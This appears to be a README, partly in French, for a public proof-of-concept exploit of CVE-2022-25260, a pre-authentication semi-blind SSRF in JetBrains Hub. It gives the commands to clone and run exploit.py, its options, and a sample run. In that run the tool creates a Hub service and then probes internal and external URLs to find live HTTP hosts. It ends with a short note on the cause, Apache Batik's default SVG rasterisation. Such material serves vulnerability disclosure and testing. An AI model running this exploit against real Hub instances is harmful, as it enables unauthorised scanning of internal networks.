
# Preuve de concept pour CVE-2022-25260 : SSRF semi-aveugle pré-authentification dans JetBrains Hub
JetBrains Hub – SSRF semi-aveugle pré-authentification
Installation et exécution :
$ git clone https://github.com/yuriisanin/CVE-2022-25260
$ cd CVE-2022-25260/
$ python3 exploit.py -h
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
usage: exploit.py [-h] -hub_url HUB_URL -email EMAIL [-internal_urls_file INTERNAL_URLS_FILE] [-internal_url INTERNAL_URL]
optional arguments:
-h, --help show this help message and exit
-hub_url HUB_URL Target Hub instance
-email EMAIL Email address of any user in the system
-internal_urls_file INTERNAL_URLS_FILE
Path to internal service URLs file
-internal_url INTERNAL_URL
Internal service URL
Utilisation :
$ python3 exploit.py hub_url http://localhost:8080 -email [email protected] -internal_urls_file ./assets/payloads/urls.txt
|--------------------------------------------------------------------|
| CVE-2022-25260 JetBrains Hub pre-auth semi-blind SSRF |
| developed by Yurii Sanin (Twitter: @SaninYurii) |
|--------------------------------------------------------------------|
[INFO] - staring scanning for 14 urls.
[INFO] - trying to create Hub service.
[INFO] - Hub service create, serviceId: '02cc6043-1469-4a8e-9a74-b003e721620c'.
[INFO] - trying to request: 'http://127.0.0.1:8080'.
[INFO] - OK. Host 'http://127.0.0.1:8080' is running HTTP service (XML-like response) [FOUND]. Message: 'Attribute name "ng-strict-di" associated with an element type "html" must be followed by the ' = ' character.'.
[INFO] - trying to request: 'http://127.0.0.1:8081'.
[INFO] - OK. Host 'http://127.0.0.1:8081' is DOWN.
[INFO] - trying to request: 'http://google.com'.
[INFO] - OK. Host 'http://google.com' is running HTTP service (presumably XML-like response) [FOUND]. Message: 'The markup in the document preceding the root element must be well-formed.'.
DÉMO:

La vulnérabilité était possible en raison de l'utilisation d'Apache Batik avec les paramètres par défaut pour la rastérisation d'icônes SVG fournies par l'utilisateur. Vous pouvez trouver plus d'informations sur l'exploitation de la rastérisation SVG côté serveur ICI.